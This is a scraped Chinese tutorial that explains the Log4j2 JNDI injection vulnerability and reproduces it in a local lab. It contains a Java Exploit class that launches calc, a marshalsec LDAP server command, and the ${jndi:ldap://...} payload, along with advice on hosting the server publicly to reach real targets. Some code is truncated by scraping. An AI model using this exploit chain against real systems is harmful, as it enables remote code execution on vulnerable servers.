net framework 4-jquerytrigger

apache log4j2
2023年4月3日发(作者:会声会影x5破解)

log4j2漏洞原理和漏洞环境搭建复现

⽬录

1.背景

部分资源在⽂章最后百度⽹盘

2021年11⽉24⽇,阿⾥云安全团队向Apache官⽅报告了ApacheLog4j2远程代码执⾏漏洞。由于ApacheLog4j2某些功能存在递归解

析功能,攻击者可直接构造恶意请求,触发远程代码执⾏漏洞。漏洞利⽤⽆需特殊配置,经阿⾥云安全团队验证,ApacheStruts2、

ApacheSolr、ApacheDruid、ApacheFlink等均受影响。阿⾥云应急响应中⼼提醒ApacheLog4j2⽤户尽快采取安全措施阻⽌漏洞攻

击。

log4j2远程代码执⾏漏洞主要由于存在JNDI注⼊漏洞,⿊客可以恶意构造特殊数据请求包,触发此漏洞,从⽽成功利⽤此漏洞可以在⽬标

服务器上执⾏任意代码。注意,此漏洞是可以执⾏任意代码,这就很恐怖,相当于⿊客已经攻⼊计算机,可以为所欲为了,就像已经进⼊你

家,想⼲什么,就⼲什么,⽐如运⾏什么程序,植⼊什么病毒,变成他的⾁鸡。

1.1影响版本

Log4j2.x<=2.14.1

2.漏洞原理

我们在很多漏洞复现⽂章看到构造的payload是这样的${jndi:ldap://:1389/Ex},很多时候看不懂为什么要这样构造,最起

码我在学习这个漏洞的时候我是不知道为什么这样构造payload。如果你刚接触安全不久,我相信你也会有这样的疑惑,那么下⾯我就⽤我

的理解解释⼀下,⼤家参考,不⼀定全部都是对的。

2.1JNDI是什么

JNDI全称是JavaNamingandDirectoryInterface(java命名和⽬录接⼝)JNDI是Java平台的⼀个标准扩展,提供了⼀组接⼝、类和关于

命名空间的概念。如同其它很多Java技术⼀样,JDNI是provider-based的技术,暴露了⼀个API和⼀个服务供应接⼝(SPI)。这意味着任

何基于名字的技术都能通过JNDI⽽提供服务,只要JNDI⽀持这项技术。JNDI⽬前所⽀持的技术包括LDAP、CORBACommonObject

Service(COS)名字服务、RMI、NDS、DNS、Windows注册表等等。很多J2EE技术,包括EJB都依靠JNDI来组织和定位实体。

我简单说⼀下它就像⼀个映射关系库,⾥⾯有很多资源,每个资源对应⼀个名字,当我查看这个名字时候,就会提供对应资源。将资源和名

字进⾏了⼀对⼀映射。⼀些基本操作,发布服务bind(),查找服务lookup()。

2.2LDAP是什么

LDAP全称是LightweightDirectoryAccessProtocol(轻型⽬录访问协议),LDAP可以理解是⼀个简单存储数据的数据库,不过它是树

状结构的,树形结构存储数据,查询效率更⾼。如果你想找到⼀个苹果,需要跟园丁说那个树,经过那些分叉以及苹果名字。有的时候分叉

不⽌⼀个。

树(dc=ljheee)

分叉(ou=bei,ou=xi,ou=dong)

苹果(cn=redApple)

LDAP有⼀个客户端和服务器端,server端是⽤来存放资源,client端主要⽤于查询等操作。服务端都是有各⼤⼚商的产品的⽐如

Microsoft的AD,当然可以⾃⼰做。我们通过LDAP协议去访问。

所以上述的payload${jndi:ldap://:1389/Ex}就相当于ldap通过jndi来提供服务。这个是你LDAP服务器

端的IP地址,LDAP服务器是默认开启1389端⼝的,EX是⼀个不存在的⽂件名

2.3JNDI注⼊原因

第⼀个是由于JNDI的动态协议转换,即使初始化的context指定了协议,也会根据URL传⼊的参数来转换协议。

其实就是说即使提前配置了ER_URL属性,当我们调⽤lookup()⽅法时,如果lookup⽅法的参数是⼀个url地址,那么客

户端就会去lookup()⽅法参数指定的uri中加载远程对象,⽽不是去ER_URL设置的地址去加载对象。

正是因为有这个特性,才导致当lookup()⽅法的参数可控时,攻击者可以通过提供⼀个恶意的url地址来控制受害者加载攻击者指定的恶意

类。

第⼆个是由于JNDINamingReference,Reference类表⽰对存在于命名/⽬录系统以外的对象的引⽤。如果远程获取LDAP服务上的对

象为Reference类或者其⼦类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载class⽂件来进⾏实例化。

其实可以简单理解为我这LDAP存储空间有限,我把多余的数据放在我的⼀个web⽹站⾥⾯,可以通过url地址进⾏引⽤,查询的数据如果我

⾃⼰数据库⾥⾯没有,我就会⾃动去我这个指定的地址在web⽹站查找指定资源。

2.4log4j2是什么

ApacheLog4j2是⼀个基于Java的⽇志记录⼯具,该⼯具重写了Log4j框架,并且引⼊了⼤量丰富的特性,Apachelog4j2是Log4j的升

级版,这个⽇志框架被⼤量⽤于业务系统开发,⽤来记录⽇志信息。在⼤多数情况下,开发者可能会将⽤户输⼊导致的错误信息写⼊⽇志

中,以便开发⼈员记录原因。

不知道说到这个地⽅有没有懂这个payload的原因,当我们在任何输⼊框⾥⾯输⼊这个payload,那么log4j2就会将我们的输⼊的信息记录

到⽇志中,在记录⽇志的时候会间接的调⽤log4j2的MessagePatternConverter组件中的format⽅法。该⽅法会截取美元符和花括号

之间的字符串,将该字符作为查找对象的条件。如果字符是jndi:ldap这样的协议格式则进⾏jndi⽅式的ldap调⽤。通过JNDI这个接⼝传

⼊⼀个可控参数,因为JNDI动态协议转换,所以我们传⼊ldap协议,就会⾃动换成这个协议,然后调⽤lookup去LDAP服务器端去获取⼀

个不存在的资源,因为这个资源不存在,且⽀持JNDINamingReference,那么LDAP就会去他指定的⼀个url去动态加载。如果加载的这

个资源⾥⾯包含⽆参构造函数或者静态⽅法那么代码就会被执⾏。

3.漏洞复现

3.1准备⼯作

3.1.1准备恶意代码

准备⼀个编译好的恶意代码,java代码都需要编译的,代码⾥⾯有⽆参函数或者静态⽅法,因为我们需要代码能够执⾏,代码如下,将编译

好的⽂件放到你的⽹站⽬录下

publicclassExploit{

static{

try{

n("执⾏漏洞代码1");

Stringcmd="calc";

time().exec(cmd);

n("执⾏漏洞代码2");

}catch(Exceptione){

tackTrace();

}

}

publicstaticvoidmain(String[]args){

newExploit();

}

}

#恶意的Exploit代码,功能打开电脑的计算器。

3.1.2将恶意代码放到⽹站⽬录下

这⾥以我⾃⼰为例我是直接放在我的服务器端的,也可以在虚拟机或者物理机开启http服务。然后通过python3去开启⼀个http服务。你需

要⾃⼰去下载python3,然后配置环境,⾃⼰去⽹上找教程。默认端⼝是8000,这个可以⾃⼰改。

3.1.3LDAP服务器端

这⾥我是直接⽤的marshalsec,⾃⼰去百度如何下载安装配置,它可以很容易让我们搭建⼀个LDAP服务器端,命令如下

fServer"http://127.0.0.1:8000/#Exploit"

#当查询资源不存在就去http://127.0.0.1:8000/#Exploit这个地址访问Exploit

因为我的恶意代码和我的LDAP服务端都安装在我的服务器所以地址是127.0.0.1,如果不在⼀起对应的地址是你开启http服务的IP地址。代

码需要进⼊到marshalsec/target下⾯去执⾏。这样就会监听1389端⼝,因为LDAP默认是1389端⼝访问。

3.1.4客户端搭建

⾸先需要下载⼀个IDEA软件,它是运⾏java代码,⾃⼰去找教程,jdk最好是⼩于1.8.191的,可以新建java项⽬,会⾃动出现⽂

件,在⾥⾯引⼊log4j2依赖包,不会使⽤IDEA就找度娘,代码如下

4j

log4j-core

2.12.1

4j

log4j-api

2.12.1

4j

log4j-1.2-api

2.12.1

客户端代码

;

ager;

publicclasslog4jRCE{

privatestaticfinalLoggerlogger=ger();

publicstaticvoidmain(String[]args){

perty("RLCodebase","true");

("${jndi:ldap://.x:1389/Ex}");

}

}

3.1.5执⾏代码

在这个⽂件右击点击运⾏,就会弹出计算器。漏洞成功复现

4.注意事项

不同的JDK对于RLCodebase的默认值不⼀样,所以为了测试统⼀设置成true便于触发。

不同的JDK版本的默认值可能导致这个bug不会被触发。

这⾥解释⼀下为什么搭建LDAP服务最好在服务器,因为在现实⽣活中,⽬标机是没有办法和我们攻击相通的⼤家都在⼀个不同局域⽹,但

是⼀般可以访问公⽹的。所以需要将东西搭建的公⽹上。这样当我们在输⼊框输⼊我们的payload就可以实现攻击。

⼤家可以在我的log4j2百度⽹盘⾥⾯有⼀些资源,如果你客户端不会⾃⼰弄,⾃⼰下载log4j-rec⽂件打开就⾏。

更多推荐

apache log4j2